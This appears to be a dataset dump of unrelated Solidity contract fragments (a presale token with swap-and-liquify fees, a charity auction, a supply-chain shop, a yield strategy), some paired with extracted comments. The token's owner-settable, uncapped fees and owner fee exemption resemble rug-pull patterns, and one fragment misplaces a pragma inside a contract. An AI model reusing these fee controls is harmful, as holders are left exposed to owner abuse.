require(amount <= _maxBuyOnLaunch, "Max buy limit");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (overMinTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
transferWithFees(sender, recipient, amount);
}
function _takeLiquidity(uint256 _liquidity) private {
_balances[address(this)] = _balances[address(this)].add(_liquidity);
}
function _takeMark(uint256 _mark) private {
_balances[address(this)] = _balances[address(this)].add(_mark);
}
function transferWithFees(address sender, address recipient, uint256 amount) internal {
uint256 liqFee = calculateLiquidityFee(amount);
uint256 markFee = calculateMarketingFee(amount);
// if sender or recipient is owner, dont take fees
if(sender == owner() || recipient == owner() || sender == address(this)) {
liqFee = 0;
markFee = 0;
}
// transfer with liquidity, marketing and burn fee applied
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount).sub(liqFee).sub(markFee);
if(liqFee > 0)
_takeLiquidity(liqFee);
if(markFee > 0)
_takeMark(markFee);
emit Transfer(sender, recipient, amount.sub(liqFee).sub(markFee));
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(4);
uint256 otherHalf = contractTokenBalance.div(4);
uint256 portionForFees = contractTokenBalance.sub(half).sub(otherHalf);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
// send eth to platform
sendEth(portionForFees);
emit SwapAndLiquify(half, newBalance, otherHalf);
emit Platform(portionForFees);
}
function sendEth(uint256 amount) private {
swapTokensForEth(amount);
platformAddress.transfer(address(this).balance);
}
function setPlatformAddress(address payable _address) external onlyOwner {
platformAddress = _address;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
// to recieve when swapping on uni
receive() external payable {
if(presaleOpen) {
buyTokens(_msgSender());
}
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value; // this might mess with ZEROES, might have to use msg.value directly
preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = weiAmount.mul(rate).div(10**9);
_weiRaised = _weiRaised.add(weiAmount);
availableTokensPresale = availableTokensPresale.sub(tokens);
uint256 walletCurrentBalance = balanceOf(beneficiary);
require(walletCurrentBalance + tokens <= _maxWalletPresaleSize, "Exceeds maximum wallet token amount");
require(IERC20(address(this)).transfer(beneficiary, tokens), "Presale: transfer error");
}
function weiRaised() external view returns(uint256) {
return _weiRaised;
}
function preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount > 0, "Crowdsale: weiAmount is 0");
require((_weiRaised+weiAmount) <= hardCap, 'Hard Cap reached');
this;
}
function getTokenAmount(uint256 weiAmount) internal pure returns (uint256) {
return weiAmount.mul(rate).div(10**9);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
require(amount <= _balances[owner], "amount to approve must be less than or equal to account balance");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10**2);
}
function calculateMarketingFee(uint256 _amount) private view returns(uint256) {
return _amount.mul(_marketingFee).div(10**2);
}
function setLiquidityFee(uint256 _amount) external onlyOwner {
_liquidityFee = _amount;
}
function setMarketingFee(uint256 _amount) external onlyOwner {
_marketingFee = _amount;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// can only be called once to set tha launch sell limit
function setLaunchTime() external onlyOwner {
require(canSetLaunchTime == true, "Launch time is already set");
launchTime = block.timestamp;
launchLimitEnabled = true;
canSetLaunchTime = false;
}
function endPresaleAndWithdrawEth() external onlyOwner {
presaleOpen = false;
if(address(this).balance > 0)
payable(owner()).transfer(address(this).balance);
// burn any unsold tokens
if(IERC20(address(this)).balanceOf(address(this)) > 0)
IERC20(address(this)).transfer(burnAddress, IERC20(address(this)).balanceOf(address(this)));
}
}
|
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
|
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
| 512,380
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pragma solidity 0.4.19;
// The frontend for this smart contract is a dApp hosted at
// https://hire.kohweijie.com
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// The frontend for this smart contract is a dApp hosted at
// https://hire.kohweijie.com
contract HireMe is Ownable {
struct Bid { // Data structure representing an individual bid
bool exists; // 0. Whether the bid exists
uint id; // 1. The ID of the bid.
uint timestamp; // 2. The timestamp of when the bid was made
address bidder; // 3. The address of the bidder
uint amount; // 4. The amount of ETH in the bid
string email; // 5. The bidder's email address
string organisation; // 6. The bidder's organisation
}
event BidMade(uint indexed id, address indexed bidder, uint indexed amount);
event Reclaimed(address indexed bidder, uint indexed amount);
event Donated(uint indexed amount);
Bid[] public bids; // Array of all bids
uint[] public bidIds; // Array of all bid IDs
// Constants which govern the bid prices and auction duration
uint private constant MIN_BID = 1 ether;
uint private constant BID_STEP = 0.01 ether;
uint private constant INITIAL_BIDS = 4;
uint private constant EXPIRY_DAYS_BEFORE = 7 days;
uint private constant EXPIRY_DAYS_AFTER = 3 days;
// For development only
//uint private constant EXPIRY_DAYS_BEFORE = 10 minutes;
//uint private constant EXPIRY_DAYS_AFTER = 10 minutes;
// SHA256 checksum of https://github.com/weijiekoh/hireme/blob/master/AUTHOR.asc
// See the bottom of this file for the contents of AUTHOR.asc
string public constant AUTHORSIGHASH = "8c8b82a2d83a33cb0f45f5f6b22b45c1955f08fc54e7ab4d9e76fb76843c4918";
// Whether the donate() function has been called
bool public donated = false;
// Whether the manuallyEndAuction() function has been called
bool public manuallyEnded = false;
// Tracks the total amount of ETH currently residing in the contract
// balance per address.
mapping (address => uint) public addressBalance;
// The Internet Archive's ETH donation address
address public charityAddress = 0x635599b0ab4b5c6B1392e0a2D1d69cF7d1ddDF02;
// Only the contract owner may end this contract, and may do so only if
// there are 0 bids.
function manuallyEndAuction () public onlyOwner {
require(manuallyEnded == false);
require(bids.length == 0);
manuallyEnded = true;
}
// Place a bid.
function bid(string _email, string _organisation) public payable {
address _bidder = msg.sender;
uint _amount = msg.value;
uint _id = bids.length;
// The auction must not be over
require(!hasExpired() && !manuallyEnded);
// The bidder must be neither the contract owner nor the charity
// donation address
require(_bidder != owner && _bidder != charityAddress);
// The bidder address, email, and organisation must valid
require(_bidder != address(0));
require(bytes(_email).length > 0);
require(bytes(_organisation).length > 0);
// Make sure the amount bid is more than the rolling minimum bid
require(_amount >= calcCurrentMinBid());
// Update the state with the new bid
bids.push(Bid(true, _id, now, _bidder, _amount, _email, _organisation));
bidIds.push(_id);
// Add to, not replace, the state variable which tracks the total
// amount paid per address, because a bidder may make multiple bids
addressBalance[_bidder] = SafeMath.add(addressBalance[_bidder], _amount);
// Emit the event
BidMade(_id, _bidder, _amount);
}
function reclaim () public {
address _caller = msg.sender;
uint _amount = calcAmtReclaimable(_caller);
// There must be at least 2 bids. Note that if there is only 1 bid and
// that bid is the winning bid, it cannot be reclaimed.
require(bids.length >= 2);
// The auction must not have been manually ended
require(!manuallyEnded);
// Make sure the amount to reclaim is more than 0
require(_amount > 0);
// Subtract the amount to be reclaimed from the state variable which
// tracks the total amount paid per address
uint _newTotal = SafeMath.sub(addressBalance[_caller], _amount);
// The amount must not be negative, or the contract is buggy
assert(_newTotal >= 0);
// Update the state to prevent double-spending
addressBalance[_caller] = _newTotal;
// Make the transfer
_caller.transfer(_amount);
// Emit the event
Reclaimed(_caller, _amount);
}
function donate () public {
// donate() can only be called once
assert(donated == false);
// Only the contract owner or the charity address may send the funds to
// charityAddress
require(msg.sender == owner || msg.sender == charityAddress);
// The auction must be over
require(hasExpired());
// If the auction has been manually ended at this point, the contract
// is buggy
assert(!manuallyEnded);
// There must be at least 1 bid, or the contract is buggy
assert(bids.length > 0);
// Calculate the amount to donate
uint _amount;
if (bids.length == 1) {
// If there is only 1 bid, transfer that amount
_amount = bids[0].amount;
} else {
// If there is more than 1 bid, transfer the second highest bid
_amount = bids[SafeMath.sub(bids.length, 2)].amount;
}
// The amount to be donated must be more than 0, or this contract is
// buggy
assert(_amount > 0);
// Prevent double-donating
donated = true;
// Transfer the winning bid amount to charity
charityAddress.transfer(_amount);
Donated(_amount);
}
function calcCurrentMinBid () public view returns (uint) {
if (bids.length == 0) {
return MIN_BID;
} else {
uint _lastBidId = SafeMath.sub(bids.length, 1);
uint _lastBidAmt = bids[_lastBidId].amount;
return SafeMath.add(_lastBidAmt, BID_STEP);
}
}
function calcAmtReclaimable (address _bidder) public view returns (uint) {
// This function calculates the amount that _bidder can get back.
// A. if the auction is over, and _bidder is the winner, they should
// get back the total amount bid minus the second highest bid.
// B. if the auction is not over, and _bidder is not the current
// winner, they should get back the total they had bid
// C. if the auction is ongoing, and _bidder is the current winner,
// they should get back the total amount they had bid minus the top
// bid.
// D. if the auction is ongoing, and _bidder is not the current winner,
// they should get back the total amount they had bid.
uint _totalAmt = addressBalance[_bidder];
if (bids.length == 0) {
return 0;
}
if (bids[SafeMath.sub(bids.length, 1)].bidder == _bidder) {
// If the bidder is the current winner
if (hasExpired()) { // scenario A
uint _secondPrice = bids[SafeMath.sub(bids.length, 2)].amount;
return SafeMath.sub(_totalAmt, _secondPrice);
} else { // scenario C
uint _highestPrice = bids[SafeMath.sub(bids.length, 1)].amount;
return SafeMath.sub(_totalAmt, _highestPrice);
}
} else { // scenarios B and D
// If the bidder is not the current winner
return _totalAmt;
}
}
function getBidIds () public view returns (uint[]) {
return bidIds;
}
// Calcuate the timestamp after which the auction will expire
function expiryTimestamp () public view returns (uint) {
uint _numBids = bids.length;
// There is no expiry if there are no bids
require(_numBids > 0);
// The timestamp of the most recent bid
uint _lastBidTimestamp = bids[SafeMath.sub(_numBids, 1)].timestamp;
if (_numBids <= INITIAL_BIDS) {
return SafeMath.add(_lastBidTimestamp, EXPIRY_DAYS_BEFORE);
} else {
return SafeMath.add(_lastBidTimestamp, EXPIRY_DAYS_AFTER);
}
}
function hasExpired () public view returns (bool) {
uint _numBids = bids.length;
// The auction cannot expire if there are no bids
if (_numBids == 0) {
return false;
} else {
// Compare with the current time
return now >= this.expiryTimestamp();
}
}
}
// Contents of AUTHOR.asc and AUTHOR (remove the backslashes which preface each
// line)
// AUTHOR.asc:
//-----BEGIN PGP SIGNATURE-----
//
//iQIzBAABCAAdBQJak6eBFhxjb250YWN0QGtvaHdlaWppZS5jb20ACgkQkNtDYXzM
//FjKytA/+JF75jH+d/9nEitJKRcsrFgadVjMwNjUt1B7IvoZJqpHj9BSHtKhsVEI5
//iME24rgbr3YRXLi7GbQS+Ovyf3Ks7BHCA/t12PWOVm9zRBEswojZIg1UjTqtYboS
//0xrnrY8A71g1RX/jN4uCQ9FohRMAPzTTV9Gt6XDpB9Uzk0HBkUOpVHPnqxSerzbp
//fSwTCzLgcsTKUJYfeOQMuSwTTXc/btJss82WQpK76xdi5+4hp3tjyZZuY7ruj60N
//g9f9pHafsWRujMhmX0G8btjK/7/cJL/KbFFafb3sA7Xes0uoUbs+pQXTvuMBx2g5
//1/BH63aHXdZC2/767JyR18gZN6PnwsZt7i8CowvDcGMni5f0la4O53HCZEGaHYFf
//IKnJX4LhEJEezcflqSgxm1y7hlUFqC1T7janL0s4rCxoW7iPgNlii62vSzg0TTwH
//9L6v8aYwWgAwfma2o3XWMCjA/K/BIfWd2w+1ex/gvTVCefOxz1zEPdjhWh89fopb
//ydxV4fllXLXoB2wmv305E4eryq4lX40w9WxO7Dxq3yU+fmK8BaXLsjUf4fT9AU1m
//VEo3ndjFXkSELwqTQalxod41j4rYxS6SyxOj6R3/3ejbJIL0kzwKuDlZIkj8Xsfx
//o2b+QtKANMwC2KRZQBnNdnF2XVOCEFW1XZykWPW6FR1iYS6WEJ0=
//=J3JJ
//-----END PGP SIGNATURE-----
// AUTHOR:
//Koh Wei Jie <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c3a0acadb7a2a0b783a8acabb4a6aaa9aaa6eda0acae">[email protected]</a>>
|
The amount to be donated must be more than 0, or this contract is buggy
|
assert(_amount > 0);
| 10,624,761
|
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./partial_match/4/0xCbC51FE2697d05C120859FE4D32704913f1B4D43/sources/src/contracts/ownership/CustomInitiallyOwnable.sol
|
* @title Ownable contract with custom intial owner @author Gnosis Developers @dev A contract extending Openzeppelin's Ownable contract that allows to specify the initial owner in the contructor instead of using the message sender./
|
abstract contract CustomInitiallyOwnable is Ownable {
pragma solidity ^0.7.5;
constructor(address initialOwner) {
transferOwnership(initialOwner);
}
}
| 8,506,683
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pragma solidity ^0.5.0;
/** @title Supply Chain. */
contract SupplyChain {
address payable owner;
bool public contractPaused = false;
uint public skuCount;
mapping (uint => Item ) public items;
enum State {
ForSale,
Sold
}
struct Item {
string name;
uint sku;
uint price;
string image;
State state;
address payable seller;
address payable buyer;
}
event ForSale(uint indexed sku);
event Sold(uint indexed sku);
/**@dev modifier used to only allow owner
***of the contract to call modfied function */
modifier isOwner () { require(msg.sender == owner); _;}
/**@dev verifies that the buyer has payed enough Ether
***to complete the transaction */
modifier paidEnough(uint _price) { require(msg.value >= _price, "Not enough Ether."); _;}
/**@dev checks whether there is a remaining
***balance to refund */
modifier checkValue(uint _sku) {
_;
uint _price = items[_sku].price;
uint amountToRefund = msg.value - _price;
items[_sku].buyer.transfer(amountToRefund);
}
/**@dev checks to see if the item requested has
***already been sold.*/
modifier forSale(uint _sku){
require(items[_sku].state == State.ForSale, "Item is not For Sale");
_;
}
/**@dev a circuit breaker to that prevents all
***app functionality if something bad occurs
***if the contract is paused, modified function stops*/
modifier checkIfPaused() {
require(contractPaused == false);
_;
}
/**@dev initializes the contract
***setting the owner of the contract to be msg.sender
***and initializing the id count of the items at 0
*/
constructor() public {
owner = msg.sender;
skuCount = 0;
}
/**@dev adds an item to the contract storage.
*@param _name Name of the item
*@param _skuCount The identity number of the item
*@param _image an image address of the item
*/
function addItem(string memory _name, uint _price, string memory _image) public checkIfPaused {
emit ForSale(skuCount);
items[skuCount] = Item({name: _name, sku:skuCount, price: _price, image: _image, state: State.ForSale, seller: msg.sender, buyer: address(0)});
skuCount = skuCount + 1;
}
/**@dev allows user to buy an item stored in the contract
*@param sku the identity number of the item
*/
function buyItem(uint sku)
public
payable
forSale(sku)
paidEnough(msg.value)
checkValue(sku)
checkIfPaused
{
items[sku].buyer = msg.sender;
items[sku].seller.transfer(items[sku].price);
items[sku].state = State.Sold;
emit Sold(sku);
}
/**@dev allows the owner of the contract to
***terminate execution of functions modified by
***a isPaused modifier
*/
function circuitBreaker() public isOwner {
if(contractPaused == false) { contractPaused = true; }
else { contractPaused = false; }
}
/**@dev returns the item with the specified sku
*@param _sku the items identity number
*@return name Name of the item
*@return sku Id of the item
*@return price Price of the item
*@return state State of the Item (ForSale | Sold)
*@return seller Seller of the Item
*@return buyer Buyer of the item
*@return image Image of the item
*/
function fetchItem(uint _sku) public view returns (string memory name, uint sku, uint price, uint state, address seller, address buyer, string memory image) {
name = items[_sku].name;
sku = items[_sku].sku;
price = items[_sku].price;
state = uint(items[_sku].state);
seller = items[_sku].seller;
buyer = items[_sku].buyer;
image = items[_sku].image;
return (name, sku, price, state, seller, buyer, image);
}
}
|
*@dev verifies that the buyer has payed enough Etherto complete the transaction /
|
modifier paidEnough(uint _price) { require(msg.value >= _price, "Not enough Ether."); _;}
| 12,961,919
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./full_match/1/0xD334739B8C94a4B8Ae9ea468Aea97C8260187D58/sources/chfry-mainnet/Oven.sol
|
@notice Operation notice! @notice The assets((DAI/USDT/USDC)) total value should be equal or more than user's fryUSD. @notice Require upgradeAmount <= DAI/USDT/USDC - fryUSD
|
function upgrade() external requireImpl {
require(
upgradeAddress != address(0) && upgradeAmount > 0 && block.timestamp > upgradeTime && upgradeTime > 0,
'!upgrade'
);
token.safeApprove(upgradeAddress, upgradeAmount);
Oven(upgradeAddress).distribute(address(this), upgradeAmount);
upgradeAddress = address(0);
upgradeAmount = 0;
upgradeTime = 0;
emit Upgrade(upgradeAddress, upgradeAmount);
}
| 4,978,075
|
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pragma solidity ^0.4.25;
contract FundEIF {
mapping(address => uint256) public receivedFunds; //doesn't include interest returned but allows other addresses to send funds
uint256 public totalSent; //includes reinvested interest + totalOtherReceived outside PoEIF
uint256 public totalOtherReceived; //total received outside PoEIF
uint256 public totalInterestReinvested; //updated for promotional reasons
address public EIF;
address public PoEIF;
event INCOMING(address indexed sender, uint amount, uint256 timestamp);
event OUTGOING(address indexed sender, uint amount, uint256 timestamp);
constructor() public {
EIF = 0x35027a992A3c232Dd7A350bb75004aD8567561B2; //EasyInvestForever
PoEIF = 0xFfB8ccA6D55762dF595F21E78f21CD8DfeadF1C8; //PoEIF
}
function () external payable {
emit INCOMING(msg.sender, msg.value, now); //msg.sender is EIF if it is interest
if (msg.sender != EIF) { //will only use more gas if not a returned interest payment
receivedFunds[msg.sender] += msg.value; //update totals for this sender (normally PoEIF)
if (msg.sender != PoEIF) { //update totalsOtherReceived updates if non-PoEIF
totalOtherReceived += msg.value;
}
}
}
function PayEIF() external {
uint256 currentBalance=address(this).balance;
totalSent += currentBalance; //update totalSent
totalInterestReinvested = totalSent-receivedFunds[PoEIF]-totalOtherReceived; //update totalInterestReinvested
emit OUTGOING(msg.sender, currentBalance, now);
if(!EIF.call.value(currentBalance)()) revert();
}
}
|
includes reinvested interest + totalOtherReceived outside PoEIF
|
uint256 public totalSent;
| 2,542,557
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IHarvest {
function setHarvestRewardVault(address _harvestRewardVault) external;
function setHarvestRewardPool(address _harvestRewardPool) external;
function setHarvestPoolToken(address _harvestfToken) external;
function setFarmToken(address _farmToken) external;
function updateReward() external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IHarvestVault {
function deposit(uint256 amount) external;
function withdraw(uint256 numberOfShares) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IMintNoRewardPool {
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function earned(address account) external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewards(address account) external view returns (uint256);
function userRewardPerTokenPaid(address account)
external
view
returns (uint256);
function lastUpdateTime() external view returns (uint256);
function rewardRate() external view returns (uint256);
function totalSupply() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function periodFinish() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function getReward() external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IStrategy {
function setTreasury(address payable _feeAddress) external;
function setCap(uint256 _cap) external;
function setLockTime(uint256 _lockTime) external;
function setFeeAddress(address payable _feeAddress) external;
function setFee(uint256 _fee) external;
function rescueDust() external;
function rescueAirdroppedTokens(address _token, address to) external;
function setSushiswapRouter(address _sushiswapRouter) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
// Interface declarations
/* solhint-disable func-order */
interface IUniswapRouter {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./base/HarvestSCBase.sol";
import "../base/StrategyBase.sol";
/*
|Strategy Flow|
- User shows up with Token and we deposit it in Havest's Vault.
- After this we have fToken that we add in Harvest's Reward Pool which gives FARM as rewards
- Withdrawal flow does same thing, but backwards
- User can obtain extra Token when withdrawing. 50% of them goes to the user, 50% goes to the treasury in ETH
- User can obtain FARM tokens when withdrawing. 50% of them goes to the user in Token, 50% goes to the treasury in ETH
*/
contract HarvestSC is StrategyBase, HarvestSCBase, ReentrancyGuardUpgradeable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
* @notice Create a new HarvestDAI contract
* @param _harvestRewardVault VaultDAI address
* @param _harvestRewardPool NoMintRewardPool address
* @param _sushiswapRouter Sushiswap Router address
* @param _harvestfToken Pool's underlying token address
* @param _farmToken Farm address
* @param _token Token address
* @param _weth WETH address
* @param _treasuryAddress treasury address
* @param _feeAddress fee address
*/
function initialize(
address _harvestRewardVault,
address _harvestRewardPool,
address _sushiswapRouter,
address _harvestfToken,
address _farmToken,
address _token,
address _weth,
address payable _treasuryAddress,
address payable _feeAddress
) external initializer {
__ReentrancyGuard_init();
__HarvestBase_init(
_harvestRewardVault,
_harvestRewardPool,
_sushiswapRouter,
_harvestfToken,
_farmToken,
_token,
_weth,
_treasuryAddress,
_feeAddress,
5000000 * (10**18)
);
}
/**
* @notice Deposit to this strategy for rewards
* @param tokenAmount Amount of Token investment
* @param deadline Number of blocks until transaction expires
* @return Amount of fToken
*/
function deposit(
uint256 tokenAmount,
uint256 deadline,
uint256 slippage
) public nonReentrant returns (uint256) {
// -----
// validate
// -----
_validateDeposit(deadline, tokenAmount, totalToken, slippage);
_updateRewards(msg.sender);
IERC20(token).safeTransferFrom(msg.sender, address(this), tokenAmount);
DepositData memory results;
UserInfo storage user = userInfo[msg.sender];
user.timestamp = block.timestamp;
totalToken = totalToken.add(tokenAmount);
user.amountToken = user.amountToken.add(tokenAmount);
results.obtainedToken = tokenAmount;
// -----
// deposit Token into harvest and get fToken
// -----
results.obtainedfToken = _depositTokenToHarvestVault(
results.obtainedToken
);
// -----
// stake fToken into the NoMintRewardPool
// -----
_stakefTokenToHarvestPool(results.obtainedfToken);
user.amountfToken = user.amountfToken.add(results.obtainedfToken);
// -----
// mint parachain tokens
// -----
_mintParachainAuctionTokens(results.obtainedfToken);
emit Deposit(
msg.sender,
tx.origin,
results.obtainedToken,
results.obtainedfToken
);
user.underlyingRatio = _getRatio(
user.amountfToken,
user.amountToken,
18
);
return results.obtainedfToken;
}
/**
* @notice Withdraw tokens and claim rewards
* @param deadline Number of blocks until transaction expires
* @return Amount of ETH obtained
*/
function withdraw(
uint256 amount,
uint256 deadline,
uint256 slippage,
uint256 ethPerToken,
uint256 ethPerFarm,
uint256 tokensPerEth //no of tokens per 1 eth
) public nonReentrant returns (uint256) {
// -----
// validation
// -----
UserInfo storage user = userInfo[msg.sender];
uint256 receiptBalance = receiptToken.balanceOf(msg.sender);
_validateWithdraw(
deadline,
amount,
user.amountfToken,
receiptBalance,
user.timestamp,
slippage
);
_updateRewards(msg.sender);
WithdrawData memory results;
results.initialAmountfToken = user.amountfToken;
results.prevDustEthBalance = address(this).balance;
// -----
// withdraw from HarvestRewardPool (get fToken back)
// -----
results.obtainedfToken = _unstakefTokenFromHarvestPool(amount);
// -----
// get rewards
// -----
harvestRewardPool.getReward(); //transfers FARM to this contract
// -----
// calculate rewards and do the accounting for fTokens
// -----
uint256 transferableRewards =
_calculateRewards(msg.sender, amount, results.initialAmountfToken);
(user.amountfToken, results.burnAmount) = _calculatefTokenRemainings(
amount,
results.initialAmountfToken
);
_burnParachainAuctionTokens(results.burnAmount);
// -----
// withdraw from HarvestRewardVault (return fToken and get Token back)
// -----
results.obtainedToken = _withdrawTokenFromHarvestVault(
results.obtainedfToken
);
emit ObtainedInfo(
msg.sender,
results.obtainedToken,
results.obtainedfToken
);
// -----
// calculate feeable tokens (extra Token obtained by returning fToken)
// - feeableToken/2 (goes to the treasury in ETH)
// - results.totalToken = obtainedToken + 1/2*feeableToken (goes to the user)
// -----
results.auctionedToken = 0;
(results.feeableToken, results.earnedTokens) = _calculateFeeableTokens(
results.initialAmountfToken,
results.obtainedToken,
user.amountToken,
results.obtainedfToken,
user.underlyingRatio
);
user.earnedTokens = user.earnedTokens.add(results.earnedTokens);
results.calculatedTokenAmount = (amount.mul(10**18)).div(
user.underlyingRatio
);
if (user.amountfToken == 0) {
user.amountToken = 0;
} else {
if (results.calculatedTokenAmount <= user.amountToken) {
user.amountToken = user.amountToken.sub(
results.calculatedTokenAmount
);
} else {
user.amountToken = 0;
}
}
results.obtainedToken = results.obtainedToken.sub(results.feeableToken);
if (results.feeableToken > 0) {
//min
results.auctionedToken = results.feeableToken.div(2);
results.feeableToken = results.feeableToken.sub(
results.auctionedToken
);
}
results.totalToken = results.obtainedToken.add(results.feeableToken);
// -----
// swap auctioned Token to ETH
// -----
address[] memory swapPath = new address[](2);
swapPath[0] = token;
swapPath[1] = weth;
if (results.auctionedToken > 0) {
uint256 swapAuctionedTokenResult =
_swapTokenToEth(
swapPath,
results.auctionedToken,
deadline,
slippage,
ethPerToken
);
results.auctionedEth = results.auctionedEth.add(
swapAuctionedTokenResult
);
emit ExtraTokensExchanged(
msg.sender,
results.auctionedToken,
swapAuctionedTokenResult
);
}
// -----
// check & swap FARM rewards with ETH (50% for treasury) and with Token by going through ETH first (the other 50% for user)
// -----
if (transferableRewards > 0) {
emit RewardsEarned(msg.sender, transferableRewards);
